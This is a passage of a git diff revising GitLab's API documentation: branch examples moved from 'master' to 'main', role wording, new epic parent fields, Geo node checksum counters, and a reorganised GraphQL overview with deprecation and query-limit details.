+ "change": "prevent merge request approval from committers",
"from": "",
"to": "true",
"author_name": "Administrator",
diff --git a/doc/api/branches.md b/doc/api/branches.md
index 7b9354f3264..4e2a0306845 100644
--- a/doc/api/branches.md
+++ b/doc/api/branches.md
@@ -40,14 +40,14 @@ Example response:
```json
[
{
- "name": "master",
+ "name": "main",
"merged": false,
"protected": true,
"default": true,
"developers_can_push": false,
"developers_can_merge": false,
"can_push": true,
- "web_url": "https://gitlab.example.com/my-group/my-project/-/tree/master",
+ "web_url": "https://gitlab.example.com/my-group/my-project/-/tree/main",
"commit": {
"author_email": "john@example.com",
"author_name": "John Smith",
@@ -89,7 +89,7 @@ Parameters:
Example request:
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/branches/master"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/branches/main"
```
Example response:
@@ -103,7 +103,7 @@ Example response:
"developers_can_push": false,
"developers_can_merge": false,
"can_push": true,
- "web_url": "https://gitlab.example.com/my-group/my-project/-/tree/master",
+ "web_url": "https://gitlab.example.com/my-group/my-project/-/tree/main",
"commit": {
"author_email": "john@example.com",
"author_name": "John Smith",
@@ -151,7 +151,7 @@ Parameters:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/branches?branch=newbranch&ref=master"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/repository/branches?branch=newbranch&ref=main"
```
Example response:
diff --git a/doc/api/deploy_tokens.md b/doc/api/deploy_tokens.md
index c7189586230..0f2b9a13a3f 100644
--- a/doc/api/deploy_tokens.md
+++ b/doc/api/deploy_tokens.md
@@ -165,8 +165,8 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
## Group deploy tokens
-Group maintainers and owners can list group deploy
-tokens. Only group owners can create and delete group deploy tokens.
+Users with at least the [Maintainer role](../user/permissions.md) for the group can list group deploy
+tokens. Only group Owners can create and delete group deploy tokens.
### List group deploy tokens
diff --git a/doc/api/discussions.md b/doc/api/discussions.md
index 18b74e1450f..5f750df4a48 100644
--- a/doc/api/discussions.md
+++ b/doc/api/discussions.md
@@ -987,7 +987,7 @@ addition by referencing line 157 in the *new* file:
```shell
curl --request POST --header "PRIVATE-TOKEN: [ACCESS_TOKEN]"\
--form "note=This is brilliant!" --form "path=hello.rb"\
- --form "line=157" --form "line_type=old"\
+ --form "line=157" --form "line_type=new"\
"https://gitlab.com/api/v4/projects/47/repository/commits/<COMMIT_ID>/comments"
```
diff --git a/doc/api/dora4_project_analytics.md b/doc/api/dora4_project_analytics.md
index f69c918c6e2..c202b075c42 100644
--- a/doc/api/dora4_project_analytics.md
+++ b/doc/api/dora4_project_analytics.md
@@ -25,9 +25,6 @@ GET /projects/:id/analytics/deployment_frequency?environment=:environment&from=:
| Attribute | Type | Required | Description |
|--------------|--------|----------|-----------------------|
| `id` | string | yes | The ID of the project |
-
-| Parameter | Type | Required | Description |
-|--------------|--------|----------|-----------------------|
| `environment`| string | yes | The name of the environment to filter by |
| `from` | string | yes | Datetime range to start from, inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
| `to` | string | no | Datetime range to end at, exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) |
diff --git a/doc/api/epics.md b/doc/api/epics.md
index 263cfe5806e..6d572303460 100644
--- a/doc/api/epics.md
+++ b/doc/api/epics.md
@@ -49,6 +49,8 @@ NOTE:
## List epics for a group
+> `parent_iid` and `_links[parent]` in response were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/347527) in GitLab 14.6.
+
Gets all epics of the requested group and its subgroups.
```plaintext
@@ -62,7 +64,7 @@ GET /groups/:id/epics?state=opened
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `author_id` | integer | no | Return epics created by the given user `id` |
-| `labels` | string | no | Return epics matching a comma separated list of labels names. Label names from the epic group or a parent group can be used |
+| `labels` | string | no | Return epics matching a comma-separated list of labels names. Label names from the epic group or a parent group can be used |
| `with_labels_details` | boolean | no | If `true`, response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. Available in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) and later |
| `order_by` | string | no | Return epics ordered by `created_at`, `updated_at`, or `title` fields. Default is `created_at` |
| `sort` | string | no | Return epics sorted in `asc` or `desc` order. Default is `desc` |
@@ -75,6 +77,7 @@ GET /groups/:id/epics?state=opened
| `include_ancestor_groups` | boolean | no | Include epics from the requested group's ancestors. Default is `false` |
| `include_descendant_groups` | boolean | no | Include epics from the requested group's descendants. Default is `true` |
| `my_reaction_emoji` | string | no | Return epics reacted by the authenticated user by the given emoji. `None` returns epics not given a reaction. `Any` returns epics given at least one reaction. Available in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31479) and later |
+| `not` | Hash | no | Return epics that do not match the parameters supplied. Accepts: `author_id` and `labels`. Available in [GitLab 14.6](https://gitlab.com/gitlab-org/gitlab/-/issues/347525) and later |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics"
@@ -89,6 +92,7 @@ Example response:
"iid": 4,
"group_id": 7,
"parent_id": 23,
+ "parent_iid": 3,
"title": "Accusamus iste et ullam ratione voluptatem omnis debitis dolor est.",
"description": "Molestias dolorem eos vitae expedita impedit necessitatibus quo voluptatum.",
"state": "opened",
@@ -128,7 +132,8 @@ Example response:
"_links":{
"self": "http://gitlab.example.com/api/v4/groups/7/epics/4",
"epic_issues": "http://gitlab.example.com/api/v4/groups/7/epics/4/issues",
- "group":"http://gitlab.example.com/api/v4/groups/7"
+ "group":"http://gitlab.example.com/api/v4/groups/7",
+ "parent":"http://gitlab.example.com/api/v4/groups/7/epics/3"
}
},
{
@@ -136,6 +141,7 @@ Example response:
"iid": 35,
"group_id": 17,
"parent_id": 19,
+ "parent_iid": 1,
"title": "Accusamus iste et ullam ratione voluptatem omnis debitis dolor est.",
"description": "Molestias dolorem eos vitae expedita impedit necessitatibus quo voluptatum.",
"state": "opened",
@@ -174,7 +180,8 @@ Example response:
"_links":{
"self": "http://gitlab.example.com/api/v4/groups/17/epics/35",
"epic_issues": "http://gitlab.example.com/api/v4/groups/17/epics/35/issues",
- "group":"http://gitlab.example.com/api/v4/groups/17"
+ "group":"http://gitlab.example.com/api/v4/groups/17",
+ "parent":"http://gitlab.example.com/api/v4/groups/17/epics/1"
}
}
]
@@ -182,6 +189,8 @@ Example response:
## Single epic
+> `parent_iid` and `_links[parent]` in response were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/347527) in GitLab 14.6.
+
Gets a single epic
```plaintext
@@ -204,6 +213,8 @@ Example response:
"id": 30,
"iid": 5,
"group_id": 7,
+ "parent_id": null,
+ "parent_iid": null,
"title": "Ea cupiditate dolores ut vero consequatur quasi veniam voluptatem et non.",
"description": "Molestias dolorem eos vitae expedita impedit necessitatibus quo voluptatum.",
"state": "opened",
@@ -243,13 +254,16 @@ Example response:
"_links":{
"self": "http://gitlab.example.com/api/v4/groups/7/epics/5",
"epic_issues": "http://gitlab.example.com/api/v4/groups/7/epics/5/issues",
- "group":"http://gitlab.example.com/api/v4/groups/7"
+ "group":"http://gitlab.example.com/api/v4/groups/7",
+ "parent": null
}
}
```
## New epic
+> `parent_iid` and `_links[parent]` in response were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/347527) in GitLab 14.6.
+
Creates a new epic.
NOTE:
@@ -265,7 +279,7 @@ POST /groups/:id/epics
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | The title of the epic |
-| `labels` | string | no | The comma separated list of labels |
+| `labels` | string | no | The comma-separated list of labels |
| `description` | string | no | The description of the epic. Limited to 1,048,576 characters. |
| `confidential` | boolean | no | Whether the epic should be confidential |
| `created_at` | string | no | When the epic was created. Date time string, ISO 8601 formatted, for example `2016-03-11T03:45:40Z` . Requires administrator or project/group owner privileges ([available](https://gitlab.com/gitlab-org/gitlab/-/issues/255309) in GitLab 13.5 and later) |
@@ -276,7 +290,7 @@ POST /groups/:id/epics
| `parent_id` | integer/string | no | The ID of a parent epic (in GitLab 11.11 and later) |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics?title=Epic&description=Epic%20description"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics?title=Epic&description=Epic%20description&parent_id=29"
```
Example response:
@@ -286,6 +300,8 @@ Example response:
"id": 33,
"iid": 6,
"group_id": 7,
+ "parent_id": 29,
+ "parent_iid": 4,
"title": "Epic",
"description": "Epic description",
"state": "opened",
@@ -325,13 +341,16 @@ Example response:
"_links":{
"self": "http://gitlab.example.com/api/v4/groups/7/epics/6",
"epic_issues": "http://gitlab.example.com/api/v4/groups/7/epics/6/issues",
- "group":"http://gitlab.example.com/api/v4/groups/7"
+ "group":"http://gitlab.example.com/api/v4/groups/7",
+ "parent": "http://gitlab.example.com/api/v4/groups/7/epics/4"
}
}
```
## Update epic
+> `parent_iid` and `_links[parent]` in response were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/347527) in GitLab 14.6.
+
Updates an epic.
NOTE:
@@ -371,6 +390,8 @@ Example response:
"id": 33,
"iid": 6,
"group_id": 7,
+ "parent_id": null,
+ "parent_iid": null,
"title": "New Title",
"description": "Epic description",
"state": "opened",
diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md
index 203c1a23996..c62d33f82f4 100644
--- a/doc/api/error_tracking.md
+++ b/doc/api/error_tracking.md
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Error Tracking project settings
The project settings API allows you to retrieve the [Error Tracking](../operations/error_tracking.md)
-settings for a project. Only for project maintainers.
+settings for a project. Only for users with [Maintainer role](../user/permissions.md) for the project.
### Get Error Tracking settings
@@ -41,7 +41,8 @@ Example response:
### Enable or disable the Error Tracking project settings
-The API allows you to enable or disable the Error Tracking settings for a project. Only for project maintainers.
+The API allows you to enable or disable the Error Tracking settings for a project. Only for users with the
+[Maintainer role](../user/permissions.md) for the project.
```plaintext
PATCH /projects/:id/error_tracking/settings
@@ -73,7 +74,8 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68384) in GitLab 14.3.
-For [integrated error tracking](https://gitlab.com/gitlab-org/gitlab/-/issues/329596) feature. Only for project maintainers.
+For [integrated error tracking](https://gitlab.com/gitlab-org/gitlab/-/issues/329596) feature. Only for users with the
+[Maintainer role](../user/permissions.md) for the project.
### List project client keys
diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md
index 4306167603d..46ed44d8808 100644
--- a/doc/api/feature_flag_user_lists.md
+++ b/doc/api/feature_flag_user_lists.md
@@ -71,7 +71,7 @@ POST /projects/:id/feature_flags_user_lists
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `name` | string | yes | The name of the feature flag. |
-| `user_xids` | string | yes | A comma separated list of user IDs. |
+| `user_xids` | string | yes | A comma-separated list of user IDs. |
```shell
curl "https://gitlab.example.com/api/v4/projects/1/feature_flags_user_lists" \
@@ -143,7 +143,7 @@ PUT /projects/:id/feature_flags_user_lists/:iid
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `iid` | integer/string | yes | The internal ID of the project's feature flag user list. |
| `name` | string | no | The name of the feature flag. |
-| `user_xids` | string | no | A comma separated list of user IDs. |
+| `user_xids` | string | no | A comma-separated list of user IDs. |
```shell
curl "https://gitlab.example.com/api/v4/projects/1/feature_flags_user_lists/1" \
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index fb821824dd1..3952a87e698 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Geo Nodes API **(PREMIUM SELF)**
-To interact with Geo node endpoints, you need to authenticate yourself as an
+To interact with Geo node endpoints, you must authenticate yourself as an
administrator.
## Create a new Geo node
@@ -26,7 +26,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/
| Attribute | Type | Required | Description |
| ----------------------------| ------- | -------- | -----------------------------------------------------------------|
-| `primary` | boolean | no | Specifying whether this node will be primary. Defaults to false. |
+| `primary` | boolean | no | Specifying whether this node should be primary. Defaults to false. |
| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. Defaults to true. |
| `name` | string | yes | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url` |
| `url` | string | yes | The user-facing URL for the Geo node. |
@@ -35,11 +35,11 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/
| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. Defaults to 25. |
| `verification_max_capacity` | integer | no | Control the maximum concurrency of repository verification for this node. Defaults to 100. |
| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. Defaults to 10. |
-| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node will replicate blobs in Object Storage. Defaults to false. |
+| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. Defaults to false. |
| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. |
| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. |
| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. |
-| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. This has no effect when set on a secondary node. |
+| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. |
Example response:
@@ -199,11 +199,11 @@ PUT /geo_nodes/:id
| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. |
| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. |
| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. |
-| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node will replicate blobs in Object Storage. |
+| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. |
| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. |
| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. |
| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. |
-| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. This has no effect when set on a secondary node. |
+| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. |
Example response:
@@ -241,7 +241,7 @@ Example response:
Removes the Geo node.
NOTE:
-Only a Geo primary node will accept this request.
+Only a Geo primary node accepts this request.
```plaintext
DELETE /geo_nodes/:id
@@ -307,11 +307,18 @@ Example response:
"health_status": "Healthy",
"missing_oauth_application": false,
"db_replication_lag_seconds": null,
- "lfs_objects_count": 0,
+ "lfs_objects_count": 5,
+ "lfs_objects_checksum_total_count": 5,
+ "lfs_objects_checksummed_count": 5,
+ "lfs_objects_checksum_failed_count": 0,
"lfs_objects_synced_count": null,
"lfs_objects_failed_count": null,
- "lfs_objects_synced_missing_on_primary_count": 0,
+ "lfs_objects_registry_count": null,
+ "lfs_objects_verification_total_count": null,
+ "lfs_objects_verified_count": null,
+ "lfs_objects_verification_failed_count": null,
"lfs_objects_synced_in_percentage": "0.00%",
+ "lfs_objects_verified_in_percentage": "0.00%",
"job_artifacts_count": 2,
"job_artifacts_synced_count": null,
"job_artifacts_failed_count": null,
@@ -453,6 +460,13 @@ Example response:
"uploads_failed_count": 0,
"uploads_registry_count": null,
"uploads_synced_in_percentage": "0.00%",
+ "uploads_checksum_total_count": 5,
+ "uploads_checksummed_count": 5,
+ "uploads_checksum_failed_count": null,
+ "uploads_verification_total_count": null,
+ "uploads_verified_count": null,
+ "uploads_verification_failed_count": null,
+ "uploads_verified_in_percentage": "0.00%",
},
{
"geo_node_id": 2,
@@ -461,11 +475,18 @@ Example response:
"health_status": "Healthy",
"missing_oauth_application": false,
"db_replication_lag_seconds": 0,
- "lfs_objects_count": 0,
- "lfs_objects_synced_count": 0,
- "lfs_objects_failed_count": 0,
- "lfs_objects_synced_missing_on_primary_count": 0,
+ "lfs_objects_count": 5,
+ "lfs_objects_checksum_total_count": 5,
+ "lfs_objects_checksummed_count": 5,
+ "lfs_objects_checksum_failed_count": 0,
+ "lfs_objects_synced_count": null,
+ "lfs_objects_failed_count": null,
+ "lfs_objects_registry_count": null,
+ "lfs_objects_verification_total_count": null,
+ "lfs_objects_verified_count": null,
+ "lfs_objects_verification_failed_count": null,
"lfs_objects_synced_in_percentage": "0.00%",
+ "lfs_objects_verified_in_percentage": "0.00%",
"job_artifacts_count": 2,
"job_artifacts_synced_count": 1,
"job_artifacts_failed_count": 1,
@@ -595,6 +616,13 @@ Example response:
"uploads_failed_count": 0,
"uploads_registry_count": null,
"uploads_synced_in_percentage": "0.00%",
+ "uploads_checksum_total_count": 5,
+ "uploads_checksummed_count": 5,
+ "uploads_checksum_failed_count": null,
+ "uploads_verification_total_count": null,
+ "uploads_verified_count": null,
+ "uploads_verification_failed_count": null,
+ "uploads_verified_in_percentage": "0.00%",
}
]
```
@@ -619,11 +647,18 @@ Example response:
"health_status": "Healthy",
"missing_oauth_application": false,
"db_replication_lag_seconds": 0,
- "lfs_objects_count": 0,
- "lfs_objects_synced_count": 0,
- "lfs_objects_failed_count": 0,
- "lfs_objects_synced_missing_on_primary_count": 0,
+ "lfs_objects_count": 5,
+ "lfs_objects_checksum_total_count": 5,
+ "lfs_objects_checksummed_count": 5,
+ "lfs_objects_checksum_failed_count": 0,
+ "lfs_objects_synced_count": null,
+ "lfs_objects_failed_count": null,
+ "lfs_objects_registry_count": null,
+ "lfs_objects_verification_total_count": null,
+ "lfs_objects_verified_count": null,
+ "lfs_objects_verification_failed_count": null,
"lfs_objects_synced_in_percentage": "0.00%",
+ "lfs_objects_verified_in_percentage": "0.00%",
"job_artifacts_count": 2,
"job_artifacts_synced_count": 1,
"job_artifacts_failed_count": 1,
@@ -734,6 +769,13 @@ Example response:
"uploads_failed_count": 0,
"uploads_registry_count": null,
"uploads_synced_in_percentage": "0.00%",
+ "uploads_checksum_total_count": 5,
+ "uploads_checksummed_count": 5,
+ "uploads_checksum_failed_count": null,
+ "uploads_verification_total_count": null,
+ "uploads_verified_count": null,
+ "uploads_verification_failed_count": null,
+ "uploads_verified_in_percentage": "0.00%",
}
```
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 3523276bdf5..bcaa5930faf 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -6,27 +6,42 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GraphQL API **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19008) in GitLab 11.0 (enabled by feature flag `graphql`).
-> - [Always enabled](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30444) in GitLab 12.1.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19008) in GitLab 11.0 [with a flag](../../administration/feature_flags.md) named `graphql`.
+> - [Enabled](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30444) in GitLab 12.1.
-## Getting Started
+[GraphQL](https://graphql.org/) is a query language for APIs. You can use it to
+request the exact data you need, and therefore limit the number of requests you need.
-For those new to the GitLab GraphQL API, see
-[Getting started with GitLab GraphQL API](getting_started.md).
+GraphQL data is arranged in types, so your client can use
+[client-side GraphQL libraries](https://graphql.org/code/#graphql-clients)
+to consume the API and avoid manual parsing.
-### Quick Reference
+There are no fixed endpoints and no data model, so you can add
+to the API without creating [breaking changes](../../development/contributing/#breaking-changes).
+This enables us to have a [versionless API](https://graphql.org/learn/best-practices/#versioning).
-- The GitLab GraphQL API endpoint is located at `/api/graphql`.
-- Get an [introduction to GraphQL from graphql.org](https://graphql.org/).
-- GitLab supports a wide range of resources, listed in the [GraphQL API Reference](reference/index.md).
+## Vision
+
+We want the GraphQL API to be the **primary** means of interacting
+programmatically with GitLab. To achieve this, it needs full coverage - anything
+possible in the REST API should also be possible in the GraphQL API.
-### Examples
+To help us meet this vision, the frontend should use GraphQL in preference to
+the REST API for new features.
-To work with sample queries that pull data from public projects on GitLab.com,
-see the menu options in the left-hand
-documentation menu, under API > GraphQL at `https://docs.gitlab.com/ee/api/graphql/`.
+There are no plans to deprecate the REST API. To reduce the technical burden of
+supporting two APIs in parallel, they should share implementations as much as
+possible.
-The [Getting started](getting_started.md) page includes different methods to customize GraphQL queries.
+## Work with GraphQL
+
+If you're new to the GitLab GraphQL API, see [Get started with GitLab GraphQL API](getting_started.md).
+
+You can view the available resources in the [GraphQL API reference](reference/index.md).
+The reference is automatically generated from the GitLab GraphQL schema and
+written to a Markdown file.
+
+The GitLab GraphQL API endpoint is located at `/api/graphql`.
### GraphiQL
@@ -34,104 +49,102 @@ Explore the GraphQL API using the interactive [GraphiQL explorer](https://gitlab
or on your self-managed GitLab instance on
`https://<your-gitlab-site.com>/-/graphql-explorer`.
-See the [GitLab GraphQL overview](getting_started.md#graphiql) for more information about the GraphiQL Explorer.
+For more information, see [GraphiQL](getting_started.md#graphiql).
-## What is GraphQL?
+### View GraphQL examples
-[GraphQL](https://graphql.org/) is a query language for APIs that
-allows clients to request exactly the data they need, making it
-possible to get all required data in a limited number of requests.
+You can work with sample queries that pull data from public projects on GitLab.com:
-The GraphQL data (fields) can be described in the form of types,
-allowing clients to use [client-side GraphQL
-libraries](https://graphql.org/code/#graphql-clients) to consume the
-API and avoid manual parsing.
+- [Create an audit report](audit_report.md)
+- [Identify issue boards](sample_issue_boards.md)
+- [Query users](users_example.md)
+- [Use custom emojis](custom_emoji.md)
-Since there's no fixed endpoints and data model, new abilities can be
-added to the API without creating [breaking changes](../../development/contributing/#breaking-changes). This allows us to
-have a versionless API as described in [the GraphQL
-documentation](https://graphql.org/learn/best-practices/#versioning).
+The [get started](getting_started.md) page includes different methods to customize GraphQL queries.
-## Vision
+### Update the GraphQL API reference
-We want the GraphQL API to be the **primary** means of interacting
-programmatically with GitLab. To achieve this, it needs full coverage - anything
-possible in the REST API should also be possible in the GraphQL API.
+If you change the GraphQL schema, create a merge request to get your changes approved.
+To generate the required documentation and schema, see
+[Rake tasks for developers](../../development/rake_tasks.md#update-graphql-documentation-and-schema-definitions).
-To help us meet this vision, the frontend should use GraphQL in preference to
-the REST API for new features.
-
-There are no plans to deprecate the REST API. To reduce the technical burden of
-supporting two APIs in parallel, they should share implementations as much as
-possible.
+Run the commands using the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/).
## Breaking changes
-The GitLab GraphQL API is [versionless](https://graphql.org/learn/best-practices/#versioning) and
-changes are made to the API in a way that maintains backwards-compatibility.
+The GitLab GraphQL API is [versionless](https://graphql.org/learn/best-practices/#versioning) and changes to the API are primarily backward-compatible.
-Occasionally GitLab needs to change the GraphQL API in a way that is not backwards-compatible.
-These changes include the removal or renaming of fields, arguments or other parts of the schema.
+However, GitLab sometimes changes the GraphQL API in a way that is not backward-compatible. These changes are considered breaking changes, and
+can include removing or renaming fields, arguments, or other parts of the schema.
+When creating a breaking change, GitLab follows a [deprecation and removal process](#deprecation-and-removal-process).
-In these situations, GitLab follows a [Deprecation and removal process](#deprecation-and-removal-process)
-where the deprecated part of the schema is supported for a period of time before being removed.
+Learn more about [breaking changes](../../development/contributing/#breaking-changes).
-There are some changes which are explicitly [not considered breaking](../../development/contributing/#breaking-changes).
+Fields behind a feature flag and disabled by default do not follow the deprecation and removal process, and can be removed at any time without notice.
-Clients should familiarize themselves with the process to avoid breaking changes affecting their integrations.
+To avoid having a breaking change affect your integrations, you should
+familiarize yourself with the deprecation and removal process.
WARNING:
-While GitLab will make all attempts to follow the [deprecation and removal process](#deprecation-and-removal-process),
-GitLab may on very rare occasions need to make immediate breaking changes to the GraphQL API to patch critical security or performance
-concerns and where the deprecation process would be considered to pose significant risk.
+GitLab makes all attempts to follow the [deprecation and removal process](#deprecation-and-removal-process).
+On rare occasions, GitLab might make immediate breaking changes to the GraphQL
+API to patch critical security or performance concerns if the deprecation
+process would pose significant risk.
-NOTE:
-Fields behind a feature flag and disabled by default are exempt from the deprecation process,
-and can be removed at any time without notice.
+### Deprecation and removal process
-### Deprecation and Removal process
+The deprecation and removal process for the GitLab GraphQL API aligns with the wider GitLab
+[deprecation process](https://about.gitlab.com/handbook/product/gitlab-the-product/#breaking-changes-deprecations-and-removing-features).
-Parts of the schema marked for removal from the GitLab GraphQL API are first **deprecated** but still available
-for at least six releases, and then **removed entirely**.
-Removals occur at `X.0` and `X.6` releases.
+Parts of the schema marked for removal from the GitLab GraphQL API are first
+[deprecated](https://about.gitlab.com/handbook/product/gitlab-the-product/#deprecation)
+but still available for at least six releases. They are then [removed](https://about.gitlab.com/handbook/product/gitlab-the-product/#removal)
+entirely during the next `XX.0` major release.
-The process is as follows:
+Items are marked as deprecated in:
-1. The item is marked as deprecated in the schema. It will be displayed as deprecated in the
- [GraphQL API Reference](reference/index.md) and in introspection queries.
-1. Removals are announced at least one release prior in the [Deprecations](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations)
- section of the release post (at or prior to `X.11` and `X.5` releases).
-1. Items meeting criteria are removed in `X.0` or `X.6` and added to:
+- The [schema](https://spec.graphql.org/October2021/#sec--deprecated).
+- The [GraphQL API reference](reference/index.md).
+- The [deprecation feature removal schedule](../../update/deprecations.md), which is linked from release posts.
+- Introspection queries of the GraphQL API.
- - The [Removals](https://about.gitlab.com/handbook/marketing/blog/release-posts/#removals) section of the Release Post.
- - The [Removed items page](removed_items.md).
+NOTE:
+If you use the GraphQL API, we recommend you remove the deprecated schema from your GraphQL
+API calls as soon as possible to avoid experiencing breaking changes.
-This gives consumers of the GraphQL API a minimum of six months to update their GraphQL queries.
+The deprecation message provides an alternative for the deprecated schema item,
+if applicable.
-When an item is deprecated or removed, an alternative is provided if available.
+#### Deprecation example
-**Example:**
+The following fields are deprecated in different minor releases, but both
+removed in GitLab 14.0:
-A field marked as deprecated in `12.7` can be used until its removal in `13.6`.
+| Field deprecated in | Reason |
+| ------------------- | --- |
+| 12.7 | GitLab traditionally has 12 minor releases per major release. To ensure the field is available for 6 more releases, it is removed in the 14.0 major release (and not 13.0). |
+| 13.6 | The removal in 14.0 allows for 6 months of availability. |
### List of removed items
-View the [fields, enums, and other items we removed](removed_items.md) from the GraphQL API.
+View the [list of items removed](removed_items.md) in previous releases.
## Available queries
The GraphQL API includes the following queries at the root level:
-1. `project` : Project information, with many of its associations such as issues and merge requests.
-1. `group` : Basic group information and epics **(ULTIMATE)** are currently supported.
-1. `user` : Information about a particular user.
-1. `namespace` : Within a namespace it is also possible to fetch `projects`.
-1. `currentUser`: Information about the currently logged in user.
-1. `users`: Information about a collection of users.
-1. `metaData`: Metadata about GitLab and the GraphQL API.
-1. `snippets`: Snippets visible to the currently logged in user.
-
-New associations and root level objects are constantly being added.
+Query | Description
+--------------|------------
+`project` | Project information and many of its associations, such as issues and merge requests.
+`group` | Basic group information and epics.
+`user` | Information about a particular user.
+`namespace` | The namespace and the `projects` in it.
+`currentUser` | Information about the signed-in user.
+`users` | Information about a collection of users.
+`metaData` | Metadata about GitLab and the GraphQL API.
+`snippets` | Snippets visible to the signed-in user.
+
+New associations and root level objects are regularly added.
See the [GraphQL API Reference](reference/index.md) for up-to-date information.
Root-level queries are defined in
@@ -149,41 +162,33 @@ library GitLab uses on the backend.
The following limits apply to the GitLab GraphQL API.
-### Max page size
-
-By default, connections return at most `100` records ("nodes") per page,
-and this limit applies to most connections in the API. Particular connections
-may have different max page size limits that are higher or lower.
+Limit | Default
+---------------------|---------------------------------------------------------------------
+Max page size | 100 records (nodes) per page. Applies to most connections in the API. Particular connections may have different max page size limits that are higher or lower.
+[Max query complexity](#max-query-complexity) | `200` for unauthenticated requests and `250` for authenticated requests.
+Request timeout | 30 seconds.
### Max query complexity
The GitLab GraphQL API scores the _complexity_ of a query. Generally, larger
-queries will have a higher complexity score. This limit is designed to protect
+queries have a higher complexity score. This limit is designed to protect
the API from performing queries that could negatively impact its overall performance.
-The complexity of a single query is limited to a maximum of:
-
-- `200` for unauthenticated requests.
-- `250` for authenticated requests.
+You can [query](getting_started.md#query-complexity) the complexity score of a query
+and the limit for the request.
-The complexity score of a query and limit for the request [can be queried for](getting_started.md#query-complexity).
+If a query exceeds the complexity limit, an error message response is
+returned.
-If a query exceeds the complexity limit an error message response will
-be returned.
-
-In general, each field in a query will add `1` to the complexity score, although
-this can be higher or lower for particular fields. Sometimes the addition of
+In general, each field in a query adds `1` to the complexity score, although
+this can be higher or lower for particular fields. Sometimes, adding
